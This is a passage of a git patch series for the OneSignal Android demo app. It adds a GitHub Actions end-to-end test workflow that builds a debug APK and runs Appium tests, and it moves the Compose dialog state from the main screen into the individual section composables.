From 0d6ff30c8aac1f90f467b5383b6b4e1f1ddca488 Mon Sep 17 00:00:00 2001 From: Fadi George Date: Sun, 24 May 2026 12:12:00 -0700 Subject: [PATCH 1/9] ci(e2e): add Android E2E workflow --- .github/actions/setup-demo/action.yml | 53 +++++++++++++++++ .github/workflows/e2e.yml | 82 +++++++++++++++++++++++++++ 2 files changed, 135 insertions(+) create mode 100644 .github/actions/setup-demo/action.yml create mode 100644 .github/workflows/e2e.yml diff --git a/.github/actions/setup-demo/action.yml b/.github/actions/setup-demo/action.yml new file mode 100644 index 0000000000..8f17082d9c --- /dev/null +++ b/.github/actions/setup-demo/action.yml @@ -0,0 +1,53 @@ +name: 'Setup Demo' +description: 'Installs the JDK and Android toolchains, caches Gradle, and writes the demo local.properties file' +inputs: + onesignal-app-id: + description: 'OneSignal App ID written into examples/demo/local.properties' + required: true + onesignal-api-key: + description: 'OneSignal REST API key written into examples/demo/local.properties' + required: true +runs: + using: 'composite' + steps: + - name: Set up Java + uses: actions/setup-java@v4 + with: + distribution: temurin + java-version: '17' + + - name: Set up Android SDK + uses: android-actions/setup-android@v3 + with: + cmdline-tools-version: '10406996' + log-accepted-android-sdk-licenses: false + + - name: Cache Gradle + uses: actions/cache@v4 + with: + path: | + ~/.gradle/caches + ~/.gradle/wrapper + key: ${{ runner.os }}-gradle-demo-${{ hashFiles('examples/demo/**/*.gradle*', 'examples/demo/**/gradle-wrapper.properties') }} + restore-keys: | + ${{ runner.os }}-gradle-demo- + ${{ runner.os }}-gradle- + + # Mirrors the Capacitor demo's `.env`: writes the override file before any + # build runs so the OneSignal App ID + channel id end up baked into + # BuildConfig. `examples/demo/app/build.gradle.kts` resolves each key in + # this order: `-PKEY=value` from the CLI > local.properties > built-in + # default, so writing to local.properties is the closest equivalent to + # the Capacitor `.env` flow. + - name: Write demo local.properties + shell: bash + working-directory: examples/demo + env: + ONESIGNAL_APP_ID: ${{ inputs.onesignal-app-id }} + ONESIGNAL_API_KEY: ${{ inputs.onesignal-api-key }} + run: | + { + echo "ONESIGNAL_APP_ID=${ONESIGNAL_APP_ID}" + echo "ONESIGNAL_API_KEY=${ONESIGNAL_API_KEY}" + echo "ONESIGNAL_ANDROID_CHANNEL_ID=7ec2ece9-c538-4656-9516-1316f48a005c" + } > local.properties diff --git a/.github/workflows/e2e.yml b/.github/workflows/e2e.yml new file mode 100644 index 0000000000..e1dbe58750 --- /dev/null +++ b/.github/workflows/e2e.yml @@ -0,0 +1,82 @@ +name: E2E Tests + +on: + push: + branches: + - rel/** + workflow_dispatch: + inputs: + sdk-version: + description: 'OneSignal Android SDK version to wait for and build against (defaults to OneSignalSDK/gradle.properties).' + required: false + type: string + +permissions: + contents: read + +concurrency: + group: ${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: true + +jobs: + build-android: + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Set up demo + uses: ./.github/actions/setup-demo + with: + onesignal-app-id: ${{ vars.APPIUM_ONESIGNAL_APP_ID }} + onesignal-api-key: ${{ secrets.APPIUM_ONESIGNAL_API_KEY }} + + - name: Resolve OneSignal Android SDK version + id: android-sdk-version + env: + INPUT_VERSION: ${{ github.event.inputs.sdk-version }} + run: | + if [ -n "$INPUT_VERSION" ]; then + VERSION="$INPUT_VERSION" + else + VERSION=$(grep -E '^SDK_VERSION=' OneSignalSDK/gradle.properties | cut -d '=' -f2) + fi + if [ -z "$VERSION" ]; then + echo "::error::Could not resolve OneSignal Android SDK version" + exit 1 + fi + echo "Resolved OneSignal Android SDK version: $VERSION" + echo "version=${VERSION}" >> "$GITHUB_OUTPUT" + + - name: Wait for OneSignal Android SDK on Maven Central + uses: OneSignal/sdk-shared/.github/actions/wait-for-maven-artifact@main + with: + version: ${{ steps.android-sdk-version.outputs.version }} + + - name: Build debug APK + working-directory: examples/demo + # Build the gms-debug variant: BrowserStack devices all run Google + # Play Services, and debug ensures isDebuggable=true so Appium's + # UiAutomator2 driver can attach. The Maven-resolved OneSignal + # dependency is pinned to the version we just waited for, so the + # APK exercises the actual published artifact. + run: ./gradlew :app:assembleGmsDebug -PSDK_VERSION=${{ steps.android-sdk-version.outputs.version }} --console=plain --warning-mode=summary + + - name: Upload APK + uses: actions/upload-artifact@v4 + with: + name: demo-apk + path: examples/demo/app/build/outputs/apk/gms/debug/app-gms-debug.apk + retention-days: 1 + compression-level: 0 + + e2e-android: + needs: build-android + uses: OneSignal/sdk-shared/.github/workflows/appium-e2e.yml@main + secrets: inherit + with: + platform: android + app-artifact: demo-apk + app-filename: app-gms-debug.apk + sdk-type: android + build-name: android-${{ github.ref_name }}-${{ github.run_number }} From d1943a7467b9ba3762b2e570487c77feabaa97c6 Mon Sep 17 00:00:00 2001 From: Fadi George Date: Mon, 25 May 2026 18:32:28 -0700 Subject: [PATCH 2/9] refactor(demo): move dialogs into section composables --- .../example/data/model/InAppMessageType.kt | 12 - .../onesignal/example/ui/main/MainScreen.kt | 268 ++------------ .../example/ui/main/MainViewModel.kt | 2 - .../com/onesignal/example/ui/main/Sections.kt | 342 ++++++++++++++---- .../onesignal/example/ui/theme/DemoLayout.kt | 1 + .../demo/app/src/main/res/values/strings.xml | 10 +- 6 files changed, 309 insertions(+), 326 deletions(-) diff --git a/examples/demo/app/src/main/java/com/onesignal/example/data/model/InAppMessageType.kt b/examples/demo/app/src/main/java/com/onesignal/example/data/model/InAppMessageType.kt index 88d1857c3b..a28042a008 100644 --- a/examples/demo/app/src/main/java/com/onesignal/example/data/model/InAppMessageType.kt +++ b/examples/demo/app/src/main/java/com/onesignal/example/data/model/InAppMessageType.kt @@ -1,12 +1,5 @@ package com.onesignal.example.data.model -import androidx.compose.material.icons.Icons -import androidx.compose.material.icons.filled.CropSquare -import androidx.compose.material.icons.filled.Fullscreen -import androidx.compose.material.icons.filled.VerticalAlignBottom -import androidx.compose.material.icons.filled.VerticalAlignTop -import androidx.compose.ui.graphics.vector.ImageVector - /** * Enum representing different types of in-app messages that can be triggered. */ @@ -14,30 +7,25 @@ enum class InAppMessageType( val title: String, val triggerKey: String, val triggerValue: String, - val icon: ImageVector ) { TOP_BANNER( title = "TOP BANNER", triggerKey = "iam_type", triggerValue = "top_banner", - icon = Icons.Filled.VerticalAlignTop ), BOTTOM_BANNER( title = "BOTTOM BANNER", triggerKey = "iam_type", triggerValue = "bottom_banner", - icon = Icons.Filled.VerticalAlignBottom ), CENTER_MODAL( title = "CENTER MODAL", triggerKey = "iam_type", triggerValue = "center_modal", - icon = Icons.Filled.CropSquare ), FULL_SCREEN( title = "FULL SCREEN", triggerKey = "iam_type", triggerValue = "full_screen", - icon = Icons.Filled.Fullscreen ) } diff --git a/examples/demo/app/src/main/java/com/onesignal/example/ui/main/MainScreen.kt b/examples/demo/app/src/main/java/com/onesignal/example/ui/main/MainScreen.kt index 2233b21efa..5aa2075d58 100644 --- a/examples/demo/app/src/main/java/com/onesignal/example/ui/main/MainScreen.kt +++ b/examples/demo/app/src/main/java/com/onesignal/example/ui/main/MainScreen.kt @@ -17,6 +17,7 @@ import androidx.compose.material3.ExperimentalMaterial3Api import androidx.compose.material3.MaterialTheme import androidx.compose.material3.Scaffold import androidx.compose.material3.Snackbar +import androidx.compose.material3.SnackbarDuration import androidx.compose.material3.SnackbarHost import androidx.compose.material3.SnackbarHostState import androidx.compose.material3.Text @@ -38,19 +39,14 @@ import androidx.compose.ui.res.painterResource import androidx.compose.ui.unit.dp import com.onesignal.example.R import com.onesignal.example.data.model.NotificationType -import com.onesignal.example.ui.components.CustomNotificationDialog -import com.onesignal.example.ui.components.LoginDialog -import com.onesignal.example.ui.components.MultiPairInputDialog -import com.onesignal.example.ui.components.MultiSelectRemoveDialog -import com.onesignal.example.ui.components.OutcomeDialog -import com.onesignal.example.ui.components.PairInputDialog import com.onesignal.example.ui.components.PrimaryButton -import com.onesignal.example.ui.components.SingleInputDialog import com.onesignal.example.ui.components.TooltipDialog -import com.onesignal.example.ui.components.TrackEventDialog import com.onesignal.example.ui.secondary.SecondaryActivity import com.onesignal.example.ui.theme.DemoLayout import com.onesignal.example.util.TooltipHelper +import kotlinx.coroutines.Job +import kotlinx.coroutines.delay +import kotlinx.coroutines.launch @OptIn(ExperimentalMaterial3Api::class) @Composable @@ -74,22 +70,6 @@ fun MainScreen(viewModel: MainViewModel) { val locationShared by viewModel.locationShared.observeAsState(false) val isLoading by viewModel.isLoading.observeAsState(false) - // Dialog states - var showLoginDialog by remember { mutableStateOf(false) } - var showUpdateJwtDialog by remember { mutableStateOf(false) } - var showAddAliasDialog by remember { mutableStateOf(false) } - var showAddMultipleAliasDialog by remember { mutableStateOf(false) } - var showAddEmailDialog by remember { mutableStateOf(false) } - var showAddSmsDialog by remember { mutableStateOf(false) } - var showAddTagDialog by remember { mutableStateOf(false) } - var showAddMultipleTagDialog by remember { mutableStateOf(false) } - var showRemoveTagsDialog by remember { mutableStateOf(false) } - var showAddTriggerDialog by remember { mutableStateOf(false) } - var showAddMultipleTriggerDialog by remember { mutableStateOf(false) } - var showRemoveTriggersDialog by remember { mutableStateOf(false) } - var showOutcomeDialog by remember { mutableStateOf(false) } - var showTrackEventDialog by remember { mutableStateOf(false) } - var showCustomNotificationDialog by remember { mutableStateOf(false) } var showTooltipDialog by remember { mutableStateOf(null) } LaunchedEffect(Unit) { @@ -98,13 +78,19 @@ fun MainScreen(viewModel: MainViewModel) { val snackbarHostState = remember { SnackbarHostState() } - // Collect the toast Channel as one-shot events so identical messages emitted - // within the snackbar display window aren't dropped by structural equality - // and so the snackbar can be targeted with `Modifier.testTag("snackbar_toast")` - // in E2E (matches Capacitor). LaunchedEffect(Unit) { + var dismissJob: Job? = null viewModel.toastMessages.collect { message -> - snackbarHostState.showSnackbar(message) + dismissJob?.cancel() + snackbarHostState.currentSnackbarData?.dismiss() + dismissJob = launch { + delay(DemoLayout.toastDurationMs) + snackbarHostState.currentSnackbarData?.dismiss() + } + snackbarHostState.showSnackbar( + message = message, + duration = SnackbarDuration.Indefinite, + ) } } @@ -166,9 +152,9 @@ fun MainScreen(viewModel: MainViewModel) { externalUserId = externalUserId, useIdentityVerification = useIdentityVerification, onUseIdentityVerificationChange = { viewModel.setUseIdentityVerification(it) }, - onLoginClick = { showLoginDialog = true }, - onLogoutClick = { viewModel.logoutUser() }, - onUpdateJwtClick = { showUpdateJwtDialog = true }, + onLogin = { userId, jwt -> viewModel.loginUser(userId, jwt) }, + onLogout = { viewModel.logoutUser() }, + onUpdateJwt = { externalId, token -> viewModel.updateUserJwt(externalId, token) }, isLoading = isLoading ) @@ -185,7 +171,7 @@ fun MainScreen(viewModel: MainViewModel) { onSimpleClick = { viewModel.sendNotification(NotificationType.SIMPLE) }, onImageClick = { viewModel.sendNotification(NotificationType.WITH_IMAGE) }, onSoundClick = { viewModel.sendNotification(NotificationType.WITH_SOUND) }, - onCustomClick = { showCustomNotificationDialog = true }, + onCustomNotification = { title, body -> viewModel.sendCustomNotification(title, body) }, onClearAllClick = { viewModel.clearAllNotifications() }, onInfoClick = { showTooltipDialog = "sendPushNotification" } ) @@ -205,15 +191,15 @@ fun MainScreen(viewModel: MainViewModel) { AliasesSection( aliases = aliases, - onAddClick = { showAddAliasDialog = true }, - onAddMultipleClick = { showAddMultipleAliasDialog = true }, + onAdd = { key, value -> viewModel.addAlias(key, value) }, + onAddMultiple = { pairs -> viewModel.addAliases(pairs) }, onInfoClick = { showTooltipDialog = "aliases" }, loading = isLoading ) EmailsSection( emails = emails, - onAddClick = { showAddEmailDialog = true }, + onAdd = { viewModel.addEmail(it) }, onRemove = { viewModel.removeEmail(it) }, onInfoClick = { showTooltipDialog = "emails" }, loading = isLoading @@ -221,7 +207,7 @@ fun MainScreen(viewModel: MainViewModel) { SmsSection( smsNumbers = smsNumbers, - onAddClick = { showAddSmsDialog = true }, + onAdd = { viewModel.addSms(it) }, onRemove = { viewModel.removeSms(it) }, onInfoClick = { showTooltipDialog = "sms" }, loading = isLoading @@ -229,31 +215,33 @@ fun MainScreen(viewModel: MainViewModel) { TagsSection( tags = tags, - onAddClick = { showAddTagDialog = true }, - onAddMultipleClick = { showAddMultipleTagDialog = true }, + onAdd = { key, value -> viewModel.addTag(key, value) }, + onAddMultiple = { pairs -> viewModel.addTags(pairs) }, onRemove = { viewModel.removeTag(it) }, - onRemoveSelected = { showRemoveTagsDialog = true }, + onRemoveSelected = { viewModel.removeSelectedTags(it) }, onInfoClick = { showTooltipDialog = "tags" }, loading = isLoading ) OutcomeSection( - onSendOutcome = { showOutcomeDialog = true }, + onSendNormal = { viewModel.sendOutcome(it) }, + onSendUnique = { viewModel.sendUniqueOutcome(it) }, + onSendWithValue = { name, value -> viewModel.sendOutcomeWithValue(name, value) }, onInfoClick = { showTooltipDialog = "outcomes" } ) TriggersSection( triggers = triggers, - onAddClick = { showAddTriggerDialog = true }, - onAddMultipleClick = { showAddMultipleTriggerDialog = true }, + onAdd = { key, value -> viewModel.addTrigger(key, value) }, + onAddMultiple = { pairs -> viewModel.addTriggers(pairs) }, onRemove = { viewModel.removeTrigger(it) }, - onRemoveSelected = { showRemoveTriggersDialog = true }, + onRemoveSelected = { viewModel.removeSelectedTriggers(it) }, onClearAll = { viewModel.clearTriggers() }, onInfoClick = { showTooltipDialog = "triggers" } ) CustomEventsSection( - onTrackClick = { showTrackEventDialog = true }, + onTrackEvent = { name, properties -> viewModel.trackEvent(name, properties) }, onInfoClick = { showTooltipDialog = "customEvents" } ) @@ -277,196 +265,6 @@ fun MainScreen(viewModel: MainViewModel) { } } - // === DIALOGS === - if (showLoginDialog) { - LoginDialog( - onDismiss = { showLoginDialog = false }, - onConfirm = { userId, jwt -> - viewModel.loginUser(userId, jwt) - showLoginDialog = false - } - ) - } - - if (showUpdateJwtDialog) { - PairInputDialog( - title = "Update User JWT", - keyLabel = "External User Id", - valueLabel = "JWT Token", - onDismiss = { showUpdateJwtDialog = false }, - onConfirm = { externalId, token -> - viewModel.updateUserJwt(externalId, token) - showUpdateJwtDialog = false - }, - keyTestTag = "update_jwt_external_id_input", - valueTestTag = "update_jwt_token_input" - ) - } - - if (showAddAliasDialog) { - PairInputDialog( - title = "Add Alias", - keyLabel = "Label", - valueLabel = "ID", - onDismiss = { showAddAliasDialog = false }, - onConfirm = { key, value -> - viewModel.addAlias(key, value) - showAddAliasDialog = false - }, - keyTestTag = "alias_label_input", - valueTestTag = "alias_id_input" - ) - } - - if (showAddMultipleAliasDialog) { - MultiPairInputDialog( - title = "Add Multiple Aliases", - keyLabel = "Label", - valueLabel = "ID", - onDismiss = { showAddMultipleAliasDialog = false }, - onConfirm = { pairs -> - viewModel.addAliases(pairs) - showAddMultipleAliasDialog = false - } - ) - } - - if (showAddEmailDialog) { - SingleInputDialog( - title = "Add Email", - label = "Email", - onDismiss = { showAddEmailDialog = false }, - onConfirm = { email -> - viewModel.addEmail(email) - showAddEmailDialog = false - }, - inputTestTag = "email_input" - ) - } - - if (showAddSmsDialog) { - SingleInputDialog( - title = "Add SMS", - label = "Phone Number", - onDismiss = { showAddSmsDialog = false }, - onConfirm = { sms -> - viewModel.addSms(sms) - showAddSmsDialog = false - }, - inputTestTag = "sms_input" - ) - } - - if (showAddTagDialog) { - PairInputDialog( - title = "Add Tag", - onDismiss = { showAddTagDialog = false }, - onConfirm = { key, value -> - viewModel.addTag(key, value) - showAddTagDialog = false - }, - keyTestTag = "tag_key_input", - valueTestTag = "tag_value_input" - ) - } - - if (showAddMultipleTagDialog) { - MultiPairInputDialog( - title = "Add Multiple Tags", - onDismiss = { showAddMultipleTagDialog = false }, - onConfirm = { pairs -> - viewModel.addTags(pairs) - showAddMultipleTagDialog = false - } - ) - } - - if (showRemoveTagsDialog && tags.isNotEmpty()) { - MultiSelectRemoveDialog( - title = "Remove Tags", - items = tags, - onDismiss = { showRemoveTagsDialog = false }, - onConfirm = { keys -> - viewModel.removeSelectedTags(keys) - showRemoveTagsDialog = false - } - ) - } - - if (showAddTriggerDialog) { - PairInputDialog( - title = "Add Trigger", - onDismiss = { showAddTriggerDialog = false }, - onConfirm = { key, value -> - viewModel.addTrigger(key, value) - showAddTriggerDialog = false - }, - keyTestTag = "trigger_key_input", - valueTestTag = "trigger_value_input" - ) - } - - if (showAddMultipleTriggerDialog) { - MultiPairInputDialog( - title = "Add Multiple Triggers", - onDismiss = { showAddMultipleTriggerDialog = false }, - onConfirm = { pairs -> - viewModel.addTriggers(pairs) - showAddMultipleTriggerDialog = false - } - ) - } - - if (showRemoveTriggersDialog && triggers.isNotEmpty()) { - MultiSelectRemoveDialog( - title = "Remove Triggers", - items = triggers, - onDismiss = { showRemoveTriggersDialog = false }, - onConfirm = { keys -> - viewModel.removeSelectedTriggers(keys) - showRemoveTriggersDialog = false - } - ) - } - - if (showOutcomeDialog) { - OutcomeDialog( - onDismiss = { showOutcomeDialog = false }, - onSendNormal = { name -> - viewModel.sendOutcome(name) - showOutcomeDialog = false - }, - onSendUnique = { name -> - viewModel.sendUniqueOutcome(name) - showOutcomeDialog = false - }, - onSendWithValue = { name, value -> - viewModel.sendOutcomeWithValue(name, value) - showOutcomeDialog = false - } - ) - } - - if (showTrackEventDialog) { - TrackEventDialog( - onDismiss = { showTrackEventDialog = false }, - onConfirm = { name, properties -> - viewModel.trackEvent(name, properties) - showTrackEventDialog = false - } - ) - } - - if (showCustomNotificationDialog) { - CustomNotificationDialog( - onDismiss = { showCustomNotificationDialog = false }, - onConfirm = { title, body -> - viewModel.sendCustomNotification(title, body) - showCustomNotificationDialog = false - } - ) - } - showTooltipDialog?.let { key -> val tooltip = TooltipHelper.getTooltip(key) if (tooltip != null) { diff --git a/examples/demo/app/src/main/java/com/onesignal/example/ui/main/MainViewModel.kt b/examples/demo/app/src/main/java/com/onesignal/example/ui/main/MainViewModel.kt index 1365276188..17864ce6e7 100644 --- a/examples/demo/app/src/main/java/com/onesignal/example/ui/main/MainViewModel.kt +++ b/examples/demo/app/src/main/java/com/onesignal/example/ui/main/MainViewModel.kt @@ -282,7 +282,6 @@ class MainViewModel(application: Application) : AndroidViewModel(application), I SharedPreferenceUtil.cacheUserExternalUserId(getApplication(), externalUserId) SharedPreferenceUtil.cacheJwtToken(getApplication(), jwtToken) _externalUserId.value = externalUserId - showToast("Logged in as: $externalUserId") aliasesList.clear() emailsList.clear() smsNumbersList.clear() @@ -315,7 +314,6 @@ class MainViewModel(application: Application) : AndroidViewModel(application), I withContext(Dispatchers.Main) { SharedPreferenceUtil.cacheUserExternalUserId(getApplication(), "") _externalUserId.value = null - showToast("Logged out") loadExistingAliases() loadExistingTags() refreshPushSubscription() diff --git a/examples/demo/app/src/main/java/com/onesignal/example/ui/main/Sections.kt b/examples/demo/app/src/main/java/com/onesignal/example/ui/main/Sections.kt index 0c87a7c895..27f99836c5 100644 --- a/examples/demo/app/src/main/java/com/onesignal/example/ui/main/Sections.kt +++ b/examples/demo/app/src/main/java/com/onesignal/example/ui/main/Sections.kt @@ -18,27 +18,37 @@ import androidx.compose.material3.ButtonDefaults import androidx.compose.material3.Card import androidx.compose.material3.CardDefaults import androidx.compose.material3.HorizontalDivider -import androidx.compose.material3.Icon import androidx.compose.material3.MaterialTheme import androidx.compose.material3.Text import androidx.compose.runtime.Composable +import androidx.compose.runtime.getValue +import androidx.compose.runtime.mutableStateOf +import androidx.compose.runtime.remember +import androidx.compose.runtime.setValue import androidx.compose.ui.Alignment import androidx.compose.ui.Modifier import androidx.compose.ui.graphics.Color import androidx.compose.ui.platform.testTag -import androidx.compose.ui.graphics.vector.ImageVector import androidx.compose.ui.text.font.FontWeight import androidx.compose.ui.unit.dp import com.onesignal.example.data.model.InAppMessageType import com.onesignal.example.ui.components.CardKvRow import com.onesignal.example.ui.components.CollapsibleSingleList +import com.onesignal.example.ui.components.CustomNotificationDialog import com.onesignal.example.ui.components.DemoSection import com.onesignal.example.ui.components.DestructiveButton +import com.onesignal.example.ui.components.LoginDialog +import com.onesignal.example.ui.components.MultiPairInputDialog +import com.onesignal.example.ui.components.MultiSelectRemoveDialog +import com.onesignal.example.ui.components.OutcomeDialog import com.onesignal.example.ui.components.OutlineButton +import com.onesignal.example.ui.components.PairInputDialog import com.onesignal.example.ui.components.PairList import com.onesignal.example.ui.components.PrimaryButton import com.onesignal.example.ui.components.SectionCard +import com.onesignal.example.ui.components.SingleInputDialog import com.onesignal.example.ui.components.ToggleRow +import com.onesignal.example.ui.components.TrackEventDialog import com.onesignal.example.ui.theme.DemoLayout import com.onesignal.example.ui.theme.OsCardBorder import com.onesignal.example.ui.theme.OsDivider @@ -130,12 +140,14 @@ fun UserSection( externalUserId: String?, useIdentityVerification: Boolean, onUseIdentityVerificationChange: (Boolean) -> Unit, - onLoginClick: () -> Unit, - onLogoutClick: () -> Unit, - onUpdateJwtClick: () -> Unit, + onLogin: (String, String?) -> Unit, + onLogout: () -> Unit, + onUpdateJwt: (String, String) -> Unit, isLoading: Boolean = false, ) { val isLoggedIn = !externalUserId.isNullOrEmpty() + var loginOpen by remember { mutableStateOf(false) } + var updateJwtOpen by remember { mutableStateOf(false) } DemoSection { SectionCard(title = "User", sectionKey = "user") { @@ -167,7 +179,7 @@ fun UserSection( PrimaryButton( text = if (isLoggedIn) "SWITCH USER" else "LOGIN USER", - onClick = onLoginClick, + onClick = { loginOpen = true }, enabled = !isLoading, testTag = "login_user_button", ) @@ -175,7 +187,7 @@ fun UserSection( if (isLoggedIn) { OutlineButton( text = "LOGOUT USER", - onClick = onLogoutClick, + onClick = onLogout, enabled = !isLoading, testTag = "logout_user_button", ) @@ -183,10 +195,35 @@ fun UserSection( OutlineButton( text = "UPDATE USER JWT", - onClick = onUpdateJwtClick, + onClick = { updateJwtOpen = true }, testTag = "update_user_jwt_button", ) } + + if (loginOpen) { + LoginDialog( + onDismiss = { loginOpen = false }, + onConfirm = { userId, jwt -> + onLogin(userId, jwt) + loginOpen = false + }, + ) + } + + if (updateJwtOpen) { + PairInputDialog( + title = "Update User JWT", + keyLabel = "External User Id", + valueLabel = "JWT Token", + onDismiss = { updateJwtOpen = false }, + onConfirm = { externalId, token -> + onUpdateJwt(externalId, token) + updateJwtOpen = false + }, + keyTestTag = "update_jwt_external_id_input", + valueTestTag = "update_jwt_token_input", + ) + } } @Composable @@ -229,10 +266,12 @@ fun SendPushSection( onSimpleClick: () -> Unit, onImageClick: () -> Unit, onSoundClick: () -> Unit, - onCustomClick: () -> Unit, + onCustomNotification: (String, String) -> Unit, onClearAllClick: () -> Unit, onInfoClick: () -> Unit, ) { + var customOpen by remember { mutableStateOf(false) } + DemoSection { SectionCard( title = "Send Push Notification", @@ -243,10 +282,20 @@ fun SendPushSection( PrimaryButton(text = "SIMPLE", onClick = onSimpleClick, testTag = "send_simple_button") PrimaryButton(text = "WITH IMAGE", onClick = onImageClick, testTag = "send_image_button") PrimaryButton(text = "WITH SOUND", onClick = onSoundClick, testTag = "send_sound_button") - PrimaryButton(text = "CUSTOM", onClick = onCustomClick, testTag = "send_custom_button") + PrimaryButton(text = "CUSTOM", onClick = { customOpen = true }, testTag = "send_custom_button") OutlineButton(text = "CLEAR ALL", onClick = onClearAllClick, testTag = "clear_all_button") } } + + if (customOpen) { + CustomNotificationDialog( + onDismiss = { customOpen = false }, + onConfirm = { title, body -> + onCustomNotification(title, body) + customOpen = false + }, + ) + } } @Composable @@ -283,9 +332,8 @@ fun SendInAppMessageSection( ) { InAppMessageType.entries.forEach { type -> val typeTag = type.name.lowercase() - IamActionButton( + PrimaryButton( text = type.title, - icon = type.icon, onClick = { onSendMessage(type) }, testTag = "send_iam_${typeTag}_button", ) @@ -294,47 +342,17 @@ fun SendInAppMessageSection( } } -@Composable -private fun IamActionButton( - text: String, - icon: ImageVector, - onClick: () -> Unit, - testTag: String, -) { - Button( - onClick = onClick, - modifier = Modifier - .fillMaxWidth() - .padding(horizontal = DemoLayout.pagePadding, vertical = 4.dp) - .height(DemoLayout.buttonHeight) - .testTag(testTag), - colors = ButtonDefaults.buttonColors(containerColor = OsPrimary), - shape = RoundedCornerShape(DemoLayout.buttonRadius), - elevation = ButtonDefaults.buttonElevation(defaultElevation = 0.dp, pressedElevation = 0.dp), - ) { - Row( - modifier = Modifier.fillMaxWidth(), - verticalAlignment = Alignment.CenterVertically, - ) { - Icon(imageVector = icon, contentDescription = null, tint = Color.White, modifier = Modifier.size(18.dp)) - Spacer(modifier = Modifier.width(DemoLayout.gap)) - Text( - text = text, - style = MaterialTheme.typography.bodyMedium.copy(fontWeight = FontWeight.SemiBold), - color = Color.White, - ) - } - } -} - @Composable fun AliasesSection( aliases: List>, - onAddClick: () -> Unit, - onAddMultipleClick: () -> Unit, + onAdd: (String, String) -> Unit, + onAddMultiple: (List>) -> Unit, onInfoClick: () -> Unit, loading: Boolean = false, ) { + var addOpen by remember { mutableStateOf(false) } + var addMultipleOpen by remember { mutableStateOf(false) } + DemoSection { SectionCard(title = "Aliases", sectionKey = "aliases", onInfoClick = onInfoClick) { PairList( @@ -345,19 +363,53 @@ fun AliasesSection( ) } Spacer(modifier = Modifier.height(DemoLayout.gap)) - PrimaryButton(text = "ADD ALIAS", onClick = onAddClick, testTag = "add_alias_button") - PrimaryButton(text = "ADD MULTIPLE ALIASES", onClick = onAddMultipleClick, testTag = "add_multiple_aliases_button") + PrimaryButton(text = "ADD ALIAS", onClick = { addOpen = true }, testTag = "add_alias_button") + PrimaryButton( + text = "ADD MULTIPLE ALIASES", + onClick = { addMultipleOpen = true }, + testTag = "add_multiple_aliases_button", + ) + } + + if (addOpen) { + PairInputDialog( + title = "Add Alias", + keyLabel = "Label", + valueLabel = "ID", + onDismiss = { addOpen = false }, + onConfirm = { key, value -> + onAdd(key, value) + addOpen = false + }, + keyTestTag = "alias_label_input", + valueTestTag = "alias_id_input", + ) + } + + if (addMultipleOpen) { + MultiPairInputDialog( + title = "Add Multiple Aliases", + keyLabel = "Label", + valueLabel = "ID", + onDismiss = { addMultipleOpen = false }, + onConfirm = { pairs -> + onAddMultiple(pairs) + addMultipleOpen = false + }, + ) } } @Composable fun EmailsSection( emails: List, - onAddClick: () -> Unit, + onAdd: (String) -> Unit, onRemove: (String) -> Unit, onInfoClick: () -> Unit, loading: Boolean = false, ) { + var addOpen by remember { mutableStateOf(false) } + DemoSection { SectionCard(title = "Emails", sectionKey = "emails", onInfoClick = onInfoClick) { CollapsibleSingleList( @@ -369,18 +421,33 @@ fun EmailsSection( ) } Spacer(modifier = Modifier.height(DemoLayout.gap)) - PrimaryButton(text = "ADD EMAIL", onClick = onAddClick, testTag = "add_email_button") + PrimaryButton(text = "ADD EMAIL", onClick = { addOpen = true }, testTag = "add_email_button") + } + + if (addOpen) { + SingleInputDialog( + title = "Add Email", + label = "Email", + onDismiss = { addOpen = false }, + onConfirm = { email -> + onAdd(email) + addOpen = false + }, + inputTestTag = "email_input", + ) } } @Composable fun SmsSection( smsNumbers: List, - onAddClick: () -> Unit, + onAdd: (String) -> Unit, onRemove: (String) -> Unit, onInfoClick: () -> Unit, loading: Boolean = false, ) { + var addOpen by remember { mutableStateOf(false) } + DemoSection { SectionCard(title = "SMS", sectionKey = "sms", onInfoClick = onInfoClick) { CollapsibleSingleList( @@ -392,20 +459,37 @@ fun SmsSection( ) } Spacer(modifier = Modifier.height(DemoLayout.gap)) - PrimaryButton(text = "ADD SMS", onClick = onAddClick, testTag = "add_sms_button") + PrimaryButton(text = "ADD SMS", onClick = { addOpen = true }, testTag = "add_sms_button") + } + + if (addOpen) { + SingleInputDialog( + title = "Add SMS", + label = "Phone Number", + onDismiss = { addOpen = false }, + onConfirm = { sms -> + onAdd(sms) + addOpen = false + }, + inputTestTag = "sms_input", + ) } } @Composable fun TagsSection( tags: List>, - onAddClick: () -> Unit, - onAddMultipleClick: () -> Unit, + onAdd: (String, String) -> Unit, + onAddMultiple: (List>) -> Unit, onRemove: (String) -> Unit, - onRemoveSelected: () -> Unit, + onRemoveSelected: (List) -> Unit, onInfoClick: () -> Unit, loading: Boolean = false, ) { + var addOpen by remember { mutableStateOf(false) } + var addMultipleOpen by remember { mutableStateOf(false) } + var removeOpen by remember { mutableStateOf(false) } + DemoSection { SectionCard(title = "Tags", sectionKey = "tags", onInfoClick = onInfoClick) { PairList( @@ -417,24 +501,68 @@ fun TagsSection( ) } Spacer(modifier = Modifier.height(DemoLayout.gap)) - PrimaryButton(text = "ADD TAG", onClick = onAddClick, testTag = "add_tag_button") - PrimaryButton(text = "ADD MULTIPLE TAGS", onClick = onAddMultipleClick, testTag = "add_multiple_tags_button") + PrimaryButton(text = "ADD TAG", onClick = { addOpen = true }, testTag = "add_tag_button") + PrimaryButton( + text = "ADD MULTIPLE TAGS", + onClick = { addMultipleOpen = true }, + testTag = "add_multiple_tags_button", + ) if (tags.isNotEmpty()) { DestructiveButton( - text = "REMOVE SELECTED", - onClick = onRemoveSelected, + text = "REMOVE TAGS", + onClick = { removeOpen = true }, testTag = "remove_tags_button", ) } } + + if (addOpen) { + PairInputDialog( + title = "Add Tag", + onDismiss = { addOpen = false }, + onConfirm = { key, value -> + onAdd(key, value) + addOpen = false + }, + keyTestTag = "tag_key_input", + valueTestTag = "tag_value_input", + ) + } + + if (addMultipleOpen) { + MultiPairInputDialog( + title = "Add Multiple Tags", + onDismiss = { addMultipleOpen = false }, + onConfirm = { pairs -> + onAddMultiple(pairs) + addMultipleOpen = false + }, + ) + } + + if (removeOpen && tags.isNotEmpty()) { + MultiSelectRemoveDialog( + title = "Remove Tags", + items = tags, + onDismiss = { removeOpen = false }, + onConfirm = { keys -> + onRemoveSelected(keys.toList()) + removeOpen = false + }, + ) + } } @Composable fun OutcomeSection( - onSendOutcome: () -> Unit, + onSendNormal: (String) -> Unit, + onSendUnique: 